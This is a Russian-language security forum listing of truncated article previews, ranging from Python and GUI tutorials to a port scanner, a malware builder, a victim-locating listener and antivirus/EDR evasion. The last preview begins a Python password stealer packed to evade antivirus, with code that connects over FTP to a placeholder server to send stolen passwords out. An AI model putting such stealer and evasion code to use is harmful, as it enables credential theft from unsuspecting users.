Программирование для ИБ

Создание сканера портов на Python. Часть 1: Быстрее чем Nmap

  • 17 696
  • 24
Приветствую, Codeby!

Большинство из вас слышали, использовали и продолжают активно использовать Nmap, как основной инструмент для сканирования портов. Nmap — проверенная временем утилита с огромным количеством скриптов, но можно ли лучше?

В этой статье мы напишем свой собственный сканер, который будет быстрее, чем Nmap, добавим многопоточность и сдружим его с Nmap.
Планируется выпустить несколько частей по этой теме. Начнем с теории.

Теория:

sensors-20-04423-g002-550.jpg


Сканер портов — программа для проверки открытых портов на удаленном компьютере.
Мы рассмотрим два типа сканирования:

SYN сканирование — наиболее популярный способ и самый быстрый. Обычный TCP сканер использует сетевые функции операционной системы и делает трехэтапное соединение, в...

Пишем Builder под ваши программы на Python

  • 7 885
  • 6

Введение


Приветствую всех, кто читает данный контент. Хотелось начать с того, как часто вы видели программы для создания других программ? Да, звучит очень рекурсивно, но простыми словами такая вещь называется Builder. Тот самый софт, который создает ваши вирусы (просто часто именно такое вижу). Не важно, будь это RAT, stealer или winlocker. Согласитесь такая вещь очень полезна, ведь не надо лезть в исходники программы и пихать туда свои данные, чтобы ее же потом использовать. По этим пару словам можно уже понять, что в данной статье я хотел бы поделиться знаниями в создании таких builder'ов. Такое будет полезно в большей степени новичкам, но затронуть данную тему все же стоит. Приступим.

Зачем это нужно?


Представим такую ситуацию, вы нашли полезный проект на Github, что поможет решить вам задачу или собрать нужные...

Урок Python #3 - функции, работа с файлами

  • 6 214
  • 2
Доброго времени суток, уважаемые форумчане! Мы продолжаем наши уроки по языку Python. Сегодня мы рассмотрим функции и работу с текстовыми файлами.


Работа с файлами
Язык программирования Python позволяет выполнять операции с текстовыми файлами, давайте рассмотрим это чуть подробнее:
  • read - считывает содержимое файла. (результат можно присвоить в качестве значения переменной);
  • close - Закрывает и сохраняет файл;
  • truncate - очищает файл (будьте осторожны, чтобы не стереть важные данные);
  • readline - считывает только одну строку из текстового файла;
  • write(stuff) - записывает данные в файл;
  • seek(0)...

Асинхронный listener и реализация отслеживания без использования GPS — Подготовка

  • 5 606
  • 3
Здравствуй, codeby! У меня в планах создать асинхронный listener который может работать одновременно c любым количеством соединений, и добавить фитчу, которая позволит узнать точное местоположение(вплоть до дома) жертвы. Для работы этой фитчи, потребуется только интернет соединение, GPS не нужен. Я постараюсь уложится в две статьи. Сегодня мы сделаем каркас для listener.

Предупреждение:

Софт который мы напишем будут не идеален, конечно я могу попробовать сделать его как можно лучше, но это займёт много времени и кода. При желании, вы легко сможете сами расширить функционал кода данного мной. И этот туториал рассчитан на тех, кто знает что такое сокеты и как они работают в python. Если вы в первый раз сталкиваетесь с ними, ссылка ниже - для вас.

О сокетах в python:

[URL...

Kivy — Введение

  • 8 642
  • 7
Всем привет, решил сделать серию статей про Kivy и KivyMD. Я не UI разработчик, я просто умею делать приложения с помощью kivy.
Не надо ожидать того, что после этих статей вы сходу сделаете UI круче чем у google, vk и других приложений-гигантов.
Но одно я пообещать точно могу, приложения будут :love:.

Начнём!

Коротко о каждом

Kivy - python фреймворк который позволяет создавать кроссплатформенные приложения.
KivyMD - набор виджетов в стиле Google Material Design для kivy

Чтобы не оставалось вопросов

Виджет - это небольшой вспомогательный элемент/компонент приложения(например кнопка), которое выполняет определенную функцию
UI - пользовательский интерфейс

Установка kivy

Windows:
Ссылка на...

Статья Как обойти антивирусы и EDR: глубокое погружение в SYSENTER и Native‑API

  • 10 023
  • 8
Многоуровневое разграничение прав в системах класса Windows, накладывает свой отпечаток на систему безопасности в целом. Разработчикам логичней было создать один защитный пласт и закрыть его на большой замок, но они раскромсали его на мелкие части, в результате чего появилось множество дыр и обходных путей на разных уровнях. В данной статье рассматривается одна из таких лазеек, а точнее – скрытый запуск ядерных API-функций, что даёт возможность прямо под юзером обходить различные гуарды, мониторы безопасности, API-шпионы, антивирусы и прочие силовые структуры. Не сказать, что тема новая.. просто она незаслуженно забыта, и в силу своей сложности всё реже встречается в защитных механизмах наших дней.

Оглавление:


1. Инструкция SYSENTER – общие сведения.
2. SSDT – System Service Descriptor Table.
3. Разбор таблицы-экспорта библиотеки Ntdll.dll.
...

Пишем графическую оболочку на Python - часть 4

  • 10 728
  • 12
Всем привет!

По просьбам трудящихся всё-таки решил написать ещё одно продолжение предыдущих статей. Часть 1 Часть 2 Часть 3

Сегодня будем наводить красоту. В качестве подопытного возьмём генератор паролей с тремя кнопками – генерировать, очистить и сохранить.

Python:
from tkinter import *
import random
from tkinter import filedialog as fd
import string
__version__ = 'Version: 2.1'

root = Tk()
root.resizable(width=False, height=False)
root.title("Password generator  " + str(__version__))
root.geometry("420x320+300+300")
calculated_text = Text(root, height=14, width=50)

def erase():
    calculated_text.delete('1.0', END)

chars = string.ascii_letters +...

Статья ZIP'аем файл вручную (часть.1. упаковщик)

  • 8 900
  • 4
ZIP.png

Допустим имеем файл и нужно перенести его в своей программе на чужую машину. Если этот файл будет внешним (на подобии библиотеки или драйвера), то сразу бросится в глаза. А что если зашить его в своё тело и создавать при запуске основного приложения? Благо производительность современных процессоров это позволяет и жертва даже не успеет понять в чём дело. Другими словами получим матку, которая будет порождать файлы.

Всё-бы хорошо, только таскать в себе готовые бинарники типа exe\dll в несжатом виде тоже не лучшая идея – одних только "байтов выравнивания" в них под 50%, а для использования готовых архиваторов нужен к нему распаковщик. Так-что иметь в запазухе обычный зиппер это всегда гуд, а данная статья (надеюсь) поможет вам разобраться в его деталях. Буду использовать ассемблер FASM, двоичный редактор HxD, ну и виндовый кальк в инженерном виде.
----------------------------------------

[COLOR=rgb(243, 121...

Python скрипт для отслеживания запускаемых приложений

  • 21 250
  • 18
В данной статье приведу пример мониторинга запускаемых приложений в ОС windows.
Скрипт для ведения логов будет написан на python 3.
Скрипт позволит просмотреть, какие процессы и приложения запускались системой и пользователем, а так же закрывать нежелательные приложения/процессы.

Для начала напишем определим, что именно будет делать скрипт.
1. Скрипт будет работать в системе постоянно, в скрытом режиме.
2. Скрипт должен записывать все запускаемые приложения в формате ("имя приложения" "id процесса" "Потребляемая память" "Время запуска" "Дата запуска")
3. Так же скрипт будет записывать все завершающиеся процессы в таком же формате
4. Скрипт не будет регистрировать запуск и завершение приложений из "черного" списка
5. Скрипт будет завершать процессы из произвольного списка

Теперь давайте определим, какие модули нам понадобятся и импортируем их

Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
from time import sleep, time
import log
import threading

def...

Статья Разработка ПО на Python для анализа безопасности данных

  • 34 968
  • 38
Всем привет, это моя первая статья, сразу хочу сказать)

Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

Начнем с самого простого: подключения библиотек.
Python:
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
  • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то, существует ли она в природе
  • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData
  • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
  • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто...